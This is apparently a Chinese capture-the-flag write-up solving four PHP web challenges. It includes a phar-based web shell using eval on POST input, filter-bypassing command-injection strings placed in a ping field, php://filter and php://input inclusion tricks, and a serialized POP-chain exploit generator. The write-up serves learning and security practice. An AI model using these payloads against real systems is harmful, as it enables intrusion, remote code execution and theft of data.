0x00 phar??
查看源代码提示include.php,在include页提示:the parameter is file! 🙂
看到参数是file不难想到文件包含啦,使用php://filter流对源代码进行读取,记得不要加.php
后缀:
index.php:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Document</title> </head> <body> <!-- include.php --> </body> </html>
include.php:
<html> Tips: the parameter is file! :) <!-- upload.php --> </html> <?php @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo "<p> error! </p>"; } else { include($file.'.php'); } } ?>
upload.php:
<form action="" enctype="multipart/form-data" method="post" name="upload"
可以看到include页对输入的字符进行了限制,而且包含时后缀自动加上了“.php”,结合题目提示,考虑使用phar绕过。
⚪参考:
https://www.shawroot.cc/archives/1141
需要将php.ini中的phar.readonly选项设置为Off,PHPstudy版本切换5.5.38。
<?php class MyClass{ var $output = '@eval($_POST[root]);'; } $o = new MyClass(); $filename = 'poc3.phar';// 后缀必须为phar,否则程序无法运行 $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("shaw.php",'<?php phpinfo();@eval($_POST[root]);?>'); $phar->stopBuffering(); ?>
上传后访问:?file=phar://upload/poc3.png/shaw
出现了phpinfo,即代表成功解析惹。
蚁剑连接根目录有flag。
0x01 rcee
传入command=ls /
可看到flag。因为字符长度限制为8位以内,使用通配符代替即可。paylad:command=cat /f*
0x02 shell_exec
查看源代码发现注释:ping -c 2 "$_POST[ip]" 2>&1
fuzz了一哈,过滤了&
、;
、"
、flag
、空格等。
使用dir命令查看flag的位置和名称:`dir$IFS$9/>2.txt`
可以看到根目录下存在flag(还有一个fllag,很迷)。
查看具体内容,过滤了cat和tac等,使用可替代cat的tail命令绕过即可:`tail$IFS$9/fl??>2.txt`
后来看到还有些师傅用的head命令也可以哈。
0x03 simple_pop
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the beijing")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php echo $password; } } else{ highlight_file(__FILE__); } ?>
感觉这题做过(?
GET形式传入:?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
POST形式传入:welcome to the beijing
得到useless.php的源代码如下:
<?php class Modifier { protected $var; public function append($value){ include($value);//flag.php } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['password'])){ @unserialize($_GET['password']); } else{ $a=new Show; } ?>
查资料学习一哈代码里的魔术方法:
__invoke
:直接调用对象名当方法使用时,就调用的是__invoke()方法。例如:
$test = new Test();//实例化一个对象 $test();//将对象当做方法来使用
__toString
:将一个对象当做一个字符串来使用时,会自动调用该方法。
__get
:访问不存在的成员变量时调用。
捋思路:
- include()函数是append方法中被调用的,append方法在__invoke魔术方法中被触发。看到include()可以想到使用伪协议读取flag。下面就考虑如何触发__invoke。
- 因为“直接调用对象名当方法使用时,就调用的是__invoke()方法”,所以可以利用Test类中的“return $function();”,达到触发__invoke的目的。想要实现“return $function();”必须触发__get魔术方法。
- 调用__get魔术方法必须访问不存在的成员变量,利用Show类中的“return $this->str->source;”可以达到目的。让$p指向Test类中不存在的成员变量即可。下一步考虑如何触发__toString。
- Show类正好有echo的地方,可以利用$source变量达到触发__toString的目的。
<?php class Modifier{ protected $var='php://filter/convert.base64-encode/resource=/flag'; } class Show{ public $source; public $str; } class Test{ public $p; } $Mod = new Modifier(); $Sho = new Show(); $tes = new Test(); $tes->p = $Mod; $Sho->str = $tes; $Sho->source = $Sho; echo urlencode(serialize($Sho));